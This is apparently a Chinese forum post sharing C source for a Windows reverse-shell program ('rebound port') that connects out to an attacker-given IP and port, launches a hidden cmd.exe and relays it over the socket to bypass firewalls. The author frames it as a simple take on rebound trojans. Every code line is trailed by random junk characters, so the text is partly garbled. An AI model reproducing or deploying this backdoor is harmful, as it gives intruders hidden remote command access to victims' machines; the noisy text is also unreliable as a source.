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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d3tr9B  
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/* ============================== bDT@E,cSi  
Rebound port in Windows NT y.Y;<UGu  
By wind,2006/7 3&KRG}5  
===============================*/ wlw`%z-B2  
#include ]@hN&W(+x  
#include aP/Ff%5T  
USJk *  
#pragma comment(lib,"wsock32.lib") ((mR' A|`  
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void OutputShell(); ?[c{pb ,|  
SOCKET sClient; F$te5 ` a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (KnU-E]L  
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void main(int argc,char **argv) 0artR~*}  
{ g& ?{^4t]  
WSADATA stWsaData; DW0N}>Gp*  
int nRet; L(t!C~3  
SOCKADDR_IN stSaiClient,stSaiServer; NM0s*s42  
5 =Op%  
if(argc != 3) 5LJ0V  
{ ['Y"6[1  
printf("Useage:\n\rRebound DestIP DestPort\n"); kKz>]t"A  
return; VhLS*YiSY  
} 7)dCdO  
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WSAStartup(MAKEWORD(2,2),&stWsaData); o3(:R0  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Tga%-xr+  
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stSaiClient.sin_family = AF_INET; BKk+<#Ti  
stSaiClient.sin_port = htons(0); vX<^x2~9(  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G?<uw RV  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <KBS ;t="1  
{ a9g~(#?a  
printf("Bind Socket Failed!\n"); (qDPGd*1  
return; p&k%d, *  
} @!p0<&R@x  
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stSaiServer.sin_family = AF_INET; DAf0bh"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); jhH&}d9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3#N`n |UgC  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UM:]Qba In  
{ tX~ *.W:  
printf("Connect Error!"); <7_s'UAL!  
return; ?ZP@H _w6}  
} vE&K!k`  
OutputShell(); __|Y59J%  
} @wcrtf~{)&  
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void OutputShell() iaHL&)[YK  
{ ]]XXcQ,A  
char szBuff[1024]; W:JR\KKU  
SECURITY_ATTRIBUTES stSecurityAttributes; o'K= X E  
OSVERSIONINFO stOsversionInfo; ([dJ'OPx$  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xiOAj"}~  
STARTUPINFO stStartupInfo; c'SjH".[  
char *szShell; ;$'D13  
PROCESS_INFORMATION stProcessInformation; aY0{vX  
unsigned long lBytesRead; )>,ndKT~  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mjKu\7F  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {'sp8:$a  
stSecurityAttributes.lpSecurityDescriptor = 0; ^j7>Ul,  
stSecurityAttributes.bInheritHandle = TRUE; #@L5yy2  
1|:'jK#gE  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +h@ZnFp3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); oc;4;A-;`c  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 17#t7Yk  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V I]~uTV  
stStartupInfo.wShowWindow = SW_HIDE; V-dyeb  
stStartupInfo.hStdInput = hReadPipe; _6-N+FI  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; HT7I~]W  
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GetVersionEx(&stOsversionInfo); uc aa;zj  
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switch(stOsversionInfo.dwPlatformId) @cc}[Uw4B  
{ lJdrrR)wg  
case 1: ai"N;1/1O|  
szShell = "command.com"; 8Y [4JXUK  
break; v^aI+p6  
default: 9XmbHS[0V  
szShell = "cmd.exe"; pgBIYeY,  
break; YRQ?:a{H  
} %OOy90b2  
i,,mt_/,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P"+R:O\!g  
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send(sClient,szMsg,77,0); O Ke 9/._  
while(1) JqV}$E"M2  
{ <[vsGUbc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f`YHZ O  
if(lBytesRead) 49= K]X  
{ (t5vBUj  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E Q]>^VE2B  
send(sClient,szBuff,lBytesRead,0); v%7Gh -P  
} W@RD bsc  
else Z-3("%_$/  
{ +V;d^&S  
lBytesRead=recv(sClient,szBuff,1024,0); }=A+W2D  
if(lBytesRead<=0) break; Hi^ Z`97c  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rJ(AO'=  
} Vi#[k n'  
} wb ^>/  
6Ev+!!znu  
return; 5xQ5)B4k  
}
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